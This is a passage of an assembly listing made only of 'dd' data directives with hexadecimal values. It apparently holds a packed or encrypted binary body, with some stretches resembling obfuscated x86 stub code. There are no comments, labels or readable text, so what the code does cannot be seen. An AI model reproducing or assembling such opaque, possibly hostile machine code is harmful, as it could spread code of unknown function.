		dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 596D5717h, 3FD525FBh
		dd 77ADFDF5h, 2291562Dh, 7ACFB734h, 29B723ACh, 7A1A20ADh
		dd 277975FDh, 0ABFF987Ch, 0FFA073DEh, 7C0CBA69h, 0B503C87Dh
		dd 9CF73DEh, 75E4C5B4h,	0BAF9B54Bh, 0EF863589h,	7C9FA5EFh
		dd 2B96FEBDh, 7A2F7A45h, 68028AFDh, 0F7CD562Dh,	592AE048h
		dd 0FCC6F8FBh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h,	68BA8AFDh
		dd 0F791562Dh, 5904E048h, 0FCD1F8FBh, 23228A50h, 0F787BC1Fh
		dd 7C9FBA69h, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
		dd 74708A57h, 0D1F4562Dh, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
		dd 0EFD0DE9Bh, 7CB4A5F3h, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7C9FA5F3h, 7954C54Dh, 74BA8AADh,	2091562Dh
		dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
		dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
		dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
		dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h,	207975FFh
		dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh,	0BA07F5DFh
		dd 85B5FF4Dh, 59227B68h, 5F1F2FFBh, 71DA51FDh, 0B9F5133Fh
		dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
		dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
		dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
		dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7C5AA5EFh
		dd 0B565C070h, 8A5D73DEh, 0D02C7F51h, 0AA99E002h, 920873DEh
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
		dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h,	923C2257h
		dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
		dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7CE8BA76h,	0B56EC87Dh
		dd 0FF373DEh, 87FCF8ECh, 2ABA5632h, 7A5C6115h, 781B9DFDh
		dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
		dd 7C9FBA76h, 0B5D5C87Dh, 0F2F73DEh, 8712F8F1h,	2ACD5632h
		dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 596C6768h, 20C3F8FBh
		dd 0F0295629h, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
		dd 0F9BB5E3Ah, 78357115h, 74CB8A3Eh, 0CE29562Dh, 0E96514Ah
		dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh,	0F0E675FDh
		dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7CE8A5F3h,	0FAEA917Dh
		dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
		dd 0B995FCF9h, 7ACB7345h, 68708AFDh, 0F7F4562Dh, 59B68460h
		dd 39A0F8FBh, 7A4ECD3Eh, 0EFD075FDh, 7CB4A5EFh,	0F1CEB57Eh
		dd 0EF1A8935h, 7CD1A5F3h, 0B98E9757h, 8543BE15h, 7B1DFF02h
		dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
		dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 59FB1F17h,	86EAFCFBh
		dd 0AAC6CF7Dh, 75E573DEh, 7AF2EC79h, 7A73CDFDh,	0E84375FDh
		dd 7C7DA5EFh, 6CADFCBDh, 0F191562Dh, 4479F835h,	85E35628h
		dd 59227B6Fh, 3C7FFDFBh, 6D04801Fh, 795E75FDh, 59FF637Fh
		dd 0E01A35FBh, 7CE8A0CFh, 0F3E1B67Eh, 644B22FEh, 797975FDh
		dd 596C6377h, 5AECF8FBh, 89295628h, 722F2B59h, 85CB75FDh
		dd 5935676Fh, 7E0AF6FBh, 7C718589h, 7ABC7244h, 4B5A7DFDh
		dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h,	72F275FDh
		dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
		dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
		dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
		dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
		dd 90162FFDh, 7CE8A0ACh, 0AAFFCF70h, 0F7973DEh,	7A71CCF5h
		dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7CB4A5E7h, 7BD3497Dh
		dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
		dd 59FAFF17h, 6025F8FBh, 0F1CD562Dh, 725C7D80h,	89F275FDh
		dd 0B8B01459h, 0F7DC75F9h, 598E6F40h, 0C3EF46FBh, 7A9775F5h
		dd 0B9AADF0Eh, 6058F89Dh, 0FBF4562Dh, 7B7874C2h, 0FBB000FCh
		dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch,	59356F40h
		dd 7AF3CDFBh, 72C075FDh, 89BC75FDh, 0F19D1457h,	0F7EFFE3Dh
		dd 59475278h, 8BD08AFBh, 16EBCAh, 4 dup(0)
		dd 1000000h, 40001h, 89062300h,	1D025D8Dh, 901EB506h, 5E9h
		dd 0B8704300h, 6050081Bh, 61605250h, 0B966310Fh, 585AAAB3h
		dd 2810Fh, 61600000h, 0BE99061h, 3D000000h, 0CCBE655Fh
		dd 0BAB54AD9h, 6AC24Dh,	1A918529h, 6A061Dh, 0D776858Dh
		dd 6A0623h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 35453BC3h, 2F20D759h, 0CDB68090h,	9477BBFh
		dd 0AE80Ah, 84470000h, 5C67529Ch, 0FE906DDCh, 1AE19D8Bh
		dd 9059061Dh, 0DE8h, 0E3FB2800h, 8A3CC90Fh, 6F0A0351h
		dd 0BF66ECB3h, 505F15F5h, 0C65806BAh, 850F9010h, 15h, 10E9h
		dd 6ADB9C00h, 581D2D12h, 3C5D26DBh, 6C53225Eh, 6A006AC6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B09BC355h, 3DBCD1EBh, 8960519Dh,	1D004995h
		dd 6A5F6106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 6E3C8D3Ch, 60F3ECC4h, 10D19D89h
		dd 9D0B061Dh, 61D10A1h,	3995FF61h, 29061D2Ah, 1D04259Dh
		dd 5BDE906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A37C97C3h, 778E1C41h, 14A9958Bh
		dd 0E8061Dh, 5D000000h,	0D77BED81h, 6A0623h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 1ECB32C3h
		dd 6A8B18h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 2BDBCBC3h, 0B449B627h, 8B65E858h,	1D02A195h
		dd 593B6806h, 525075EEh, 7E9h, 242D0300h, 34B14E67h, 0EE8310Fh
		dd 12000000h, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 0F52505Eh
		dd 5A585A31h, 3481585Ah, 0EE569B24h, 58D0B75h, 0FF061D04h
		dd 1D120995h, 60FE8B06h, 29E7BA66h, 0FBB58D61h,	6A0623D5h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0DF99C352h, 7D7271BFh, 0C769F25Ch, 67655206h
		dd 56006A6Dh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 16E458Ah, 1D1481BDh, 0E1EF8106h,	0C772E0BDh
		dd 6E6F0446h, 0C7FC6C63h, 73610846h, 6A0073h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 894A14C3h
		dd 1D157D9Dh, 6810F06h,	8B000000h, 1D0089BDh, 89006A06h
		dd 1D1925BDh, 0FB858D06h, 500623D5h, 9E8h, 0BAA2C600h
		dd 89D0FD14h, 52501FB7h, 0BB15BF66h, 8E8310Fh, 4C000000h
		dd 1B05D1B2h, 5B118387h, 895A585Ah, 33562404h, 1D2D6D8Dh
		dd 9D895B06h, 61D2EFDh,	28195FFh, 58B3061Dh, 840FC00Bh
		dd 49h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah
		dd 6CC35343h, 0AA260EBBh, 0AAE91297h, 6A000003h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8B0CC352h, 1D27F995h, 92146806h, 870F0B23h, 0Bh, 5E8h
		dd 0FE796F00h, 81592FD7h, 93382434h, 11E90B23h,	9F000000h
		dd 2E5D7803h, 194C50E3h, 0A5FDF307h, 8DF15EBDh,	120995FFh
		dd 6A061Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0E99E3BC3h, 13h, 2ED66EFEh, 2B41B8A6h, 95080E85h
		dd 2A3B8743h, 8D23921Bh, 23D5FBB5h, 0B58D2306h,	0C7061D2Bh
		dd 34383106h, 0FDDB536h, 1187h,	0B810F00h, 0E9000000h
		dd 6, 4BEAE540h, 46C711A1h, 342D3704h, 50006A31h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 50D648E8h, 846C7F9h,	0
		dd 4319D89h, 6A061Dh, 858DCA8Bh, 623D5FBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3CC35242h, 7A3DF3C7h
		dd 0C79E822Eh, 7E990h, 11EC0000h, 8091DE4h, 0D18B5006h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 41E3D539h, 5774965Ch, 81669F87h,	66E84FD3h
		dd 0FFD3F7BAh, 1D028195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0EDFAADDFh
		dd 0F180C67Fh, 0FC00B8Bh, 4284h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 9352F03Bh
		dd 0C812C735h, 0B966F253h, 9D29D0E9h, 61D0081h,	1E8E9h
		dd 8D896000h, 61D11F1h,	4919D09h, 6861061Dh, 0F1CF70FEh
		dd 2E240481h, 6A0E3090h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0E591C352h,	878261h
		dd 8D8BD883h, 61D0919h,	120995FFh, 0E960061Dh, 0Ch, 214B6A8Ah
		dd 0F5A89047h, 804201F8h, 0FBB58D61h, 6A0623D5h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0C88AC350h, 74A53ABBh, 0C7AFF6BCh, 0A9BD8Bh,	6C7061Dh
		dd 656C6946h, 13F98589h, 46C7061Dh, 6E6F6D04h, 0BD9D8B63h
		dd 0C7061D1Bh, 616C0846h, 6A7373h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 20F7F5C3h, 0FD85018Fh
		dd 0C7061D1Bh, 0C46h, 8B660000h, 6A006AC8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 158DC350h
		dd 62D885A5h, 42112224h, 2BC99D8Bh, 810F061Dh, 9, 38D0Fh
		dd 8B660000h, 0FB858DDFh, 8B0623D5h, 1D1BA19Dh,	52509006h
		dd 4816BA66h, 8B66310Fh, 50585AD7h, 0AE950h, 94510000h
		dd 5B9496BCh, 400F64BDh, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0B2DDDDC3h, 82AB5278h
		dd 48A0Fh, 0BA660000h, 71BA63A9h, 0FF0D4E91h, 1D028195h
		dd 8C0F06h, 0B000000h, 35840FC0h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 72C5C351h, 0F9E8DC69h, 31416102h, 1D0365BDh,	2FE906h
		dd 9D310000h, 61D02BDh,	0FFFAC1E9h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BFC4FC8h
		dd 1D1AD595h, 91B58D06h, 33061D71h, 1D020DBDh, 0B806h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 668441C3h, 8BE6FF5Fh, 888D8DC1h, 0B20623DDh
		dd 0D18D893Ch, 57061D20h, 269DBD8Bh, 0C75B061Dh, 1D331D85h
		dd 60D406h, 91858900h, 0C7061D1Bh, 1D2BF985h, 6, 6E95300h
		dd 6F000000h, 8F663470h, 0B5FF5A63h, 61D2E19h, 95FFD18Bh
		dd 61D1519h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	23C35747h, 0AEA0AE7Bh, 0D678F6BFh, 51F28166h, 0FF006AF3h
		dd 1D120995h, 0EBC08B06h, 709E1558h, 896288Dh, 2AF7FF0Dh
		dd 7AEFC43Fh, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
		dd 0B8372300h, 0DF613878h, 0DEBD25B7h, 0F155FE07h, 9B6A7Ah
		dd 19A18357h, 88CD4102h, 98D2F13Dh, 581E8B41h, 27D34CA2h
		dd 0E11394AEh, 840794B2h, 5EA4F5DCh, 578C159Ah,	0F9CAFE6Fh
		dd 7EA80B02h, 0C48A4F8Bh, 0ABA80B03h, 9C75EAD5h, 64A80B03h
		dd 0BA8A4F88h, 0D157AE5Dh, 8C8A4F88h, 0ABA80B00h, 5775EAD5h
		dd 7A80B01h, 0D18A4F89h, 81A80B01h, 4B8A4F89h, 0ABA80B06h
		dd 2575EAD5h, 8BB8D42Fh, 0C0031309h, 528B8C45h,	9AF490A7h
		dd 0D1215781h, 43A9C8C1h, 8B7DD42Fh, 0C0031309h, 528B8C4Dh
		dd 0A5A790A7h, 0D1215781h, 43A9C8DDh, 0B42CD42Fh, 0C0031309h
		dd 528B8C59h, 0A55390A7h, 0D1215781h, 43A9CB29h, 0B5B5D42Fh
		dd 0C0031309h, 528B8FA5h, 0A4EC90A7h, 0D1215781h, 43A9CB25h
		dd 0B50FD42Fh, 0C0031309h, 528B8FB1h, 0A46290A7h, 0D1215781h
		dd 43A9CB3Dh, 0B681D42Fh, 0C0031309h, 528B8FB9h, 0A7E890A7h
		dd 0D1215781h, 43A9CB35h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 6654DFC0h, 0A8ED96A4h, 458A152Ah
		dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
		dd 0CE75EAD5h, 0B53AAE63h, 848C0821h, 11AB5342h, 55FFEA22h
		dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
		dd 660351A2h, 0EE27BFEAh, 8590DB2Fh, 94751309h,	0D9020112h
		dd 665B2DA0h, 0EC79AEA4h, 41AE51A1h, 6C22DC09h,	0BA8C36FBh
		dd 0DF103773h, 0C821732Ah, 77796928h, 0FD5BEA2Ch, 508C152Bh
		dd 7D009881h, 0ABAE7273h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 66559FC0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
		dd 49860430h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 665B2DA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 43A9CACBh, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 52B57FF7h, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 665B2DA0h, 0D79AEA4h, 2320949Ah
		dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h,	0A82851A2h
		dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h,	45869025h
		dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch,	0A8D5D8AEh
		dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
		dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
		dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h,	0B28A152Ah
		dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h,	7F039191h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 9D00B92Ah, 0D4A7B222h
		dd 860085E1h, 6C22DC08h, 0BA8C36FBh, 0FEF8E173h, 94B29FA7h
		dd 85575781h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 54AFE9A2h, 0D775152Ah, 52B55A43h, 0C8204526h, 77796928h
		dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h,	0EFAEA580h
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h,	6BDF87D5h
		dd 8C2357BFh, 0EF491786h, 8590DB2Fh, 94751309h,	0BD28E9C4h
		dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
		dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
		dd 1018EA80h, 0DFAE4C8Ch, 8558B9E2h, 6C32DC08h,	0BA8C36FBh
		dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
		dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 0D775BF86h, 52B57FF7h, 7726DDA1h,	0CE25FB63h
		dd 43A9C412h, 0ECCE825Dh, 0EEECE4AAh
		dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
		dd 0D903376Bh, 665B2DB0h, 327BAEA4h, 234B9592h,	0FE04FD09h
		dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
		dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah,	0FFCEB824h
		dd 94B28FA7h, 87575781h, 320A09Ah, 0CE25FB0Eh, 43A9C412h
		dd 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 6668A7C0h
		dd 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h
		dd 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah
		dd 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh
		dd 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43A9C8CDh
		dd 0EA32DCF1h, 0BA8C36F4h, 0A8EDD871h, 458A42C3h, 58DDAEA2h
		dd 0C88260D5h, 7775A638h, 0DF07462Ch, 528B8F1Ch, 3C6D5h
		dd 5492B85Eh, 3075152Ah, 5CDDAEAEh, 9B898FA7h, 0D9FB5781h
		dd 6654ABB0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h, 3075195Fh
		dd 5B32DCAAh, 168C36F4h, 8A16CB2Fh, 96751309h, 0BD54142Bh
		dd 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh, 0ADE900h
		dd 0A8920000h, 0AA8922CCh, 0BA7B14BEh, 0C56F08B2h, 0D660F9A3h
		dd 0B774EC96h, 4CF676C0h, 42EC84B3h, 37E18FA9h,	27D1A39Eh
		dd 891DAF41h, 1A236145h, 20142DB4h, 58116B48h, 74E28CDCh
		dd 0C8E8086Fh, 848FA9E1h, 5B936F25h, 4B95DA39h,	25DAFAB9h
		dd 0DCCDE173h, 2DDEDA7Bh, 1932CFh, 5D8D0000h, 5B6BFDAFh
		dd 0B22542A6h, 3D0EEB85h, 3F48738h, 3AB3EC9Dh, 1419C01Eh
		dd 0B6714E26h, 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h
		dd 0CE896606h, 6A250266h, 9C4A1CBh, 9C613E2Ah, 23E38268h
		dd 9B90E906h, 0B550FFF9h, 47CCACC8h, 0B85BB715h, 623E41Ch
		dd 4EBC503h, 3CC92DFDh,	0C99E9h, 0E6586800h, 6BE90623h
		dd 68FFF99Bh, 623E742h,	0F99B61E9h, 0E81C68FFh,	57E90623h
		dd 68FFF99Bh, 623E8ACh,	0F99B4DE9h, 0EB4C68FFh,	43E90623h
		dd 68FFF99Bh, 623EE26h,	0F99B39E9h, 0EF4A68FFh,	2FE90623h
		dd 8DFFF99Bh, 841DC7ADh, 760FB9AFh, 6A03ADBFh, 5BF49ECAh
		dd 6FE791DBh, 0F17BBBB0h, 0E789AE47h, 0DC94A43Dh, 0CCA89932h
		dd 18AA3C22h, 23614284h, 6F21AF15h, 6142C9DDh, 0CB29DA23h
		dd 4A221424h, 0EA86B26Dh, 0C9B97D3Ah, 4E1FFC78h, 0E9771F7Dh
		dd 0A611A537h, 7A22542h, 8C5D3A3Ah, 0A97F5DBBh,	891BCBh
		dd 931F45B9h, 657505E2h, 0EBDCA075h, 22CCB961h,	59ED1DEBh
		dd 37h,	0DB6D1FB2h, 2542A6CBh, 74F83DD8h, 0D16745A3h, 30016FC9h
		dd 0C1E3EE80h, 48051F45h, 0CD9E7BF9h, 0DEBB6C6Fh, 0A07CBA4Eh
		dd 0E03AC4DCh, 1DE60BA5h, 732EDh, 308B0000h, 814h, 472D148Bh
		dd 105CDA97h, 29046233h, 0A135C779h, 322542A6h,	0D76A2381h
		dd 430ED9Dh, 0A05E0664h, 0AC3EEE8Ah, 1F45B085h,	8F1FB163h
		dd 1CDCA04Fh, 4FEAFA8Ch, 46F7DCA0h, 63141775h, 9224D686h
		dd 0DCA04F02h, 0F280DE8Fh, 0DCA04FE6h, 493CDE68h, 0ED1DD1A7h
		dd 1454DF9Ch, 94086637h, 31h, 3B59EFEDh, 1B1CD98Bh, 49A77855h
		dd 45A54EBBh, 0C66D2A1Fh, 904144A2h, 0F04603B3h, 78901E7Ch
		dd 6DCA058h, 0C5E79E7Ch, 74ED1DC2h, 0D7h, 472D14CDh, 0E5ADA97h
		dd 1C1AD5B0h, 89B87350h, 0EE530EEBh, 7A6EDC86h,	9C2542A3h
		dd 5D4458EAh, 0A455DABDh, 0C0B48D46h, 0EEC47D16h, 0C442519Dh
		dd 66D08BE6h, 78583506h, 8416C6A2h, 0E0BA06EDh,	0FD8B35E6h
		dd 0E275F340h, 0C13B4352h, 543290D2h, 40F2A2C6h, 71D0B283h
		dd 46D43203h, 0E6AAE2FFh, 691BCB7Ch, 720489ACh,	0D6805A62h
		dd 10EDBE6Fh, 0E28E13Fh, 1B1BB45Eh, 3F8BD88Fh, 0FDCE8D83h
		dd 0FD8D7C8Ah, 0E3825DE0h, 9F3h, 4CF67EBCh, 3EE880B3h
		dd 32DC90A5h, 23CD9B99h, 16C0AC8Ah, 4CEAC19Eh, 5ADD7620h
		dd 65D36C16h, 79C8610Bh, 0D96B51FBh, 6140B747h,	57DE4423h
		dd 0AE6B2214h, 4757E789h, 542542A6h, 8F28D2A3h,	8A18C2B2h
		dd 29066ACDh, 0EF53FA58h, 0F98B3B59h, 1F45A580h, 0B1BF7813h
		dd 553203D4h, 0A05935C5h, 412F08DCh, 0E18FA964h, 5DBD4104h
		dd 1BFF8911h, 1DC3406Ah, 0A9F7EDh, 14500000h, 0BA6A472Dh
		dd 533044FDh, 6F910EC0h, 0DDAEB803h, 0FC70C67Fh, 0EB5B8F1Fh
		dd 8FB22542h, 0C07835E5h, 11AA52B0h, 87674430h,	9123D3B1h
		dd 1F45FFE0h, 0C3AD8B48h, 7B16265h, 0E595F349h,	1E569E33h
		dd 1A10351Fh, 0DD2AD545h, 45A374FCh, 0ABD47FB7h, 7B2BDCE6h
		dd 3F350CC9h, 7A339162h, 6D06B0BCh, 1C30A3C9h, 8DE0FC7Dh
		dd 90913B2h, 68D20000h,	6AC9620Ch, 7ABB54FEh, 85AF48F2h
		dd 96A039E3h, 0F7B42CD6h, 8C363600h, 822C44F3h,	77214FE9h
		dd 671163DEh, 495DEF81h, 5A236141h, 22146DF4h, 3A07A04Ah
		dd 1409903Ah, 94D85D2Dh, 3815E6B7h, 6B0C47Dh, 0F27ABB78h
		dd 69B7CF94h, 4805B5D3h, 0E8A380F0h, 0ED4B1C4Ch, 0AB78AD3Fh
		dd 1ACB1F45h, 9626B86Ah, 95DCA042h, 0ADD3597Ch,	9E4F5436h
		dd 7C63EF40h, 90871F0Eh, 1DF152FBh, 0FD5B42B2h,	0BB6B091Fh
		dd 587B9429h, 9976274Fh, 1C1B63B9h, 21D38354h, 0BE9BD164h
		dd 1B687C0Eh, 0C8796F42h, 21B547F7h, 0B26F421Bh, 8E15A301h
		dd 6255222Dh, 43F08EA5h, 0F3F65425h, 6CD59242h,	0E3079729h
		dd 0E39466A2h, 8E5F0D28h, 7EF64BE4h, 0E02AE10Bh, 4EEDC890h
		dd 82Fh, 883242F8h, 7A2444EFh, 6E1854E1h, 5F095FD5h, 52FC70C6h
		dd 10261DDAh, 1E19B25Ch, 290FA852h, 3D049D47h, 15A78D37h
		dd 614E7383h, 931A8023h, 6A472D14h, 49EEBC8Ah, 9673F93Dh
		dd 4617F4C5h, 7A33C575h, 0D91F45A7h, 7DBB7828h,	46728214h
		dd 0CE7FDCA0h, 0A8904DFDh, 29C26AC8h, 0D484610Fh, 0EE4C1C17h
		dd 0A0464C60h, 56C6D2DCh, 5AF0DCA0h, 1FDC8E3Eh,	0A8795616h
		dd 75BDBC4Ah, 7526E6A7h, 1064DD98h, 0FAA52D9Dh,	7211ECE0h
		dd 79Fh, 0F8A2D268h, 0EA94D45Fh, 0DE88E451h, 0CF79EF45h
		dd 0C26C0036h, 0A0966D4Ah, 0AE8922CCh, 0B97F18C2h, 0CD740DB7h
		dd 8517FDA7h, 614EE3F3h, 38AF023h, 8B3B59EFh, 45A570F9h
		dd 0D5B2631Fh, 0A54F191Ah, 5B568217h, 6542320Fh, 0B6970194h
		dd 0B5B77F3Ah, 0D3959E57h, 650716F6h, 0EFDB23B5h, 0A758DCA0h
		dd 4BCF73CAh, 0BD84FA39h, 0CE3CE6B7h, 0DCA0EF3Ah, 873759ECh
		dd 0A0EFBDF5h, 0BB6516DCh, 7A571122h, 0A0EED6EAh, 35E589DCh
		dd 0DA84E44Fh, 0A78CF241h, 5813E4C1h, 0DFBC8DDBh, 8E199A2Fh
		dd 0F0785976h, 0BE440492h, 57FBDCA0h, 0F672C1C3h, 0DDBF8E4Ch
		dd 37C97B2Dh, 0DCA0BEA7h, 97258334h, 0DCA0BE02h, 5303E091h
		dd 0BC0FD3BEh, 0AF0DD642h, 83391021h, 0A47600A8h, 7E6FCFE1h
		dd 1676E91h, 0EFC70000h, 0F98B3B59h, 1F45BA44h,	39F6A657h
		dd 29C26C08h, 0EF7F5C18h, 5963EF75h, 7212088Ch,	62FBA5CFh
		dd 0D8B895DFh, 0E0792345h, 5E0A2A54h, 2DFB081h,	0D07AFA47h
		dd 8D6A0A37h, 217BD3FDh, 48241221h, 0E785B06Bh,	698E770Ah
		dd 73F3CA61h, 6E001AC2h, 0DB6D1FABh, 255323CBh,	23C927D8h
		dd 0C0B48DF7h, 0EFF38816h, 120903Ch, 8DB46DCBh,	9D5A0AE7h
		dd 9472D0A4h, 722FDF81h, 9F4DABC5h, 5319F90Dh, 0AF590A25h
		dd 6F4C2016h, 6B7B0DBFh
